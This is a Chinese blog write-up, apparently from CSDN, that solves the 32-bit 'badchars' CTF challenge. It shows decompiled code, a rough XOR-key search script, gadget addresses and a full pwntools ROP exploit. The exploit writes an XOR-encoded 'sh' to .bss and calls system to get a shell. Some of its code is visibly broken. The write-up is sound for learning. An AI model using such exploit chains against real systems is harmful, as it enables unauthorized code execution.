发现自己太菜所以自闭了几天~~
做了个32pwn(badchars)记录一下
这道题IDA打开我们就会发现

void pwnme()
{char *v0; // ST1C_4size_t n; // ST18_4void *s; // [esp+Ch] [ebp-2Ch]int v3; // [esp+10h] [ebp-28h]s = malloc(0x200u);if ( !s )exit(1);memset(s, 0, 0x200u);memset(&v3, 0, 0x20u);puts("badchars are: b i c / <space> f n s");printf("> ");v0 = fgets((char *)s, 512, stdin);n = nstrlen(v0, 512);checkBadchars(v0, n);memcpy(&v3, v0, n);free(v0);
}

这个有个后门是

int usefulFunction()
{return system("/bin/ls");
}

不是/sh…我们就要想办法输入/sh但好像这里检查了字符的输入

unsigned int __cdecl checkBadchars(int a1, unsigned int a2)
{unsigned int result; // eaxchar v3; // [esp+0h] [ebp-10h]char v4; // [esp+1h] [ebp-Fh]char v5; // [esp+2h] [ebp-Eh]char v6; // [esp+3h] [ebp-Dh]char v7; // [esp+4h] [ebp-Ch]char v8; // [esp+5h] [ebp-Bh]char v9; // [esp+6h] [ebp-Ah]char v10; // [esp+7h] [ebp-9h]unsigned int j; // [esp+8h] [ebp-8h]unsigned int i; // [esp+Ch] [ebp-4h]v3 = 98;v4 = 105;v5 = 99;v6 = 47;v7 = 32;v8 = 102;v9 = 110;v10 = 115;j = 0;for ( i = 0; ; ++i ){result = i;if ( i >= a2 )break;for ( j = 0; j <= 7; ++j ){if ( *(_BYTE *)(a1 + i) == *(&v3 + j) ){*(_BYTE *)(a1 + i) = -21;break;}}}return result;
}

所以我们就只有编码或加密直接异或要快
上异或的脚本

a=[98,105,99,47,32,102,110,115]
bin_sh="/bin/sh\x00"
xor_value=1while true:for  x in bin_sh:y=ord(x)^xor_valueif y in a:xor_value+=1breakif x=='/x00':print xor_valuebreakif xor_value==10:break

我自己写的可能会写错…我直接用大佬给的0xff
然后就是找可以ROP的地方了我们发现有个l函数可以让我们将字符xor解密

.text:08048890                 public usefulGadgets
.text:08048890 usefulGadgets:
.text:08048890                 xor     [ebx], cl
.text:08048892                 retn
.text:08048893 ; ---------------------------------------------------------------------------
.text:08048893                 mov     [edi], esi
.text:08048895                 retn
.text:08048896 ; ---------------------------------------------------------------------------
.text:08048896                 pop     ebx
.text:08048897                 pop     ecx
.text:08048898                 retn
.text:08048899 ; ---------------------------------------------------------------------------
.text:08048899                 pop     esi
.text:0804889A                 pop     edi
.text:0804889B                 retn
.text:0804889B ; ---------------------------------------------------------------------------

这里我们就可以构造ROP了先用pop esi,pop edi 然后用mov将加密其写入到bss段然后在用xor解密直接上exp:

from pwn import *
p=process('../badchars32')
elf=ELF('../badchars32')
system_addr = elf.plt['system']
bss_addr=elf.bss()
binstr='sh\x00\x00'
xor_value=0xff
xorsh=''
pop_edi_esi=0x08048899
mov_edi_esi=0x08048893
pop_edx_ecx=0x08048896
xor_edx_ecx=0x08048890for i in range(4):xorsh+=chr(ord(binstr[i])^xor_value)payload='a'*(0x28+0x4)
payload+=p32(pop_edi_esi)
payload+=xorsh
payload+=p32(bss_addr)
payload+=p32(mov_edi_esi)for i in range(4):payload+=p32(pop_edx_ecx)payload+=p32(bss_addr+i)payload+=p32(xor_value)payload+=p32(xor_edx_ecx)payload+=p32(system_addr)
payload+='aaaa'
payload+=p32(bss_addr)
p.recvuntil('> ')
p.sendline(payload)
p.interactive()

pwn好难

pwn暑假训练(五) 哇哇好久没打了相关推荐

  1. pwn暑假训练(十) emem这次的测验自己还是太菜

    记一下昨天的测验我直接讲我没过的题目 有system函数没有'bin/sh'只开了nx但gadget少的可怜题目直接给了libc那就不用想了直接找偏移-我同学给的libc偏移不对- Gadgets i ...

  2. pwn暑假训练(九) emem原来昨天是8今天是9

    今天学习了一手格式化字符串,这个漏洞危害真的大~~ 可以改覆写地址上所指向的值还可以泄露地址上的值这个真的太强了我们直接泄露一个libc函数的真实地址然后匹配libc找到基址偏移没有防护就什么都成了- ...

  3. 53岁周鸿祎考上清华博士;图灵奖得主杨立昆炮轰ChatGPT:五年内就没人用了;Red Hat恪守对开源的承诺|极客头条...

    「极客头条」-- 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧. 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews ...

  4. Leetcode刷题五遍还没offer - 听我分析为什么找工作光刷题没用

    一亩三分地就业求职版里,有位同学发帖说: LZ从14年秋季入学开始刷题,一门心思要找份好工作,到现在leetcode已经刷过五遍,都做好详尽的总结,看过geeksforgeeks里面一半的topic. ...

  5. 好久没更新日志了啊~!!今天发一个AS3的播放器

    好久没更新日志了啊~!! 今天上来帖一下这几天学习AS3的成果.用AS3写了个简陋的播放器,虽说基本的功能都全了, 而且没动一笔一划,图形界面也由graphics生成的. http://soccer. ...

  6. 好久没写博客了,改天要把原博客资料整理下,弄个链接什么

    好久没来写了,主要是最近再弄webform下的东东--asp.net+ajax,可是进度很慢,所以也没办法写一些心得什么的.感觉有点对不起博客.嘿嘿 原来的博客,也好久没去了,当初搬家主要就是因为那个 ...

  7. 好久没到这个地方来.

    懒了,好久没写随笔了,学的东西不少,学过就忘记.没有整理,不成系统.最近也没什么好说的,瞎掰一通吧.--有时候觉得,我就是个愤青. 总感觉自己的思维很混乱,很没有头绪,东边拉袋水泥,西边拼块砖头的,没 ...

  8. 好久没玩laravel了,5.6玩下(三)

    好久没玩laravel了,5.6玩下(三) 好了,基础的测试通了,咱们开始增删改了 思路整理 先创建项目功能控制器 然后设置路由访问规则 然后开发项目的增删改功能 1 先创建项目的控制器 php ar ...

  9. 【ECJTU_ACM 11级队员2012年暑假训练赛(8) - F - A Mame】

    Home Problems Status Contest Register Login B题要套一个数论的模版,注意m=1!! C题可以二分匹配,把行列看作点; 不能开百度,开谷歌搜题解,再次强调!一 ...

最新文章

  1. 网络推广营销教大家有关移动端网站优化更受用户欢迎的技巧!
  2. vhdl变量赋初值_5.5 C++自动变量
  3. 【Java MyBatis Generator】使用generator自动生成Dao,Mapping和实体文件
  4. CentOS 系统添加网卡
  5. 环境在c盘_程序员,拯救我的C盘
  6. mysql的checkpoint
  7. 设计模式之六 --- 抽象工厂模式(Abstract Factory)
  8. 2019最新机构Web前端培训全套项目实战(完整)
  9. 笔记--希尔伯特空间
  10. 黑客攻防技术宝典:浏览器实战篇 -- 上篇(笔记)
  11. 采集插件,自动采集伪原创发布插件
  12. Kali内Nmap端口扫描与高级扫描
  13. 前端vue后台管理系统项目优化
  14. Android中wifi认证的实现
  15. android夜间模式监控
  16. mysql求和语句月份,sql – 按月求和并将月份作为列
  17. Electron 初体验,用 js 搭建桌面应用程序
  18. Arcgis实验一 空间数据数字化、投影变换与仿射变换
  19. 如何在GNS3中使用VPCS虚拟PC
  20. 数据时代的的企业管理 记SAP商业同略会

热门文章

  1. linux操作系统下部署thinkphp5项目
  2. 第二代天神:克罗诺斯
  3. 智能锁技术有哪些呢?
  4. Mysql数据库存储的原理
  5. 渗透笔记之火狐代理设置证书设置
  6. CSDN快速获得积分下载的几个办法有效途径
  7. 新版百度手机卫士界面就变化了辣么一点点,功能却...
  8. C语言关于微生物增殖(假设有两种微生物 X 和 Y X出生后每隔3分钟分裂一次......)引发的思考---解题神器(三点一测法)
  9. NNLM语言模型(原理、反向传播的推导以及python实现)
  10. 【python入门第二十二天】python函数-匿名函数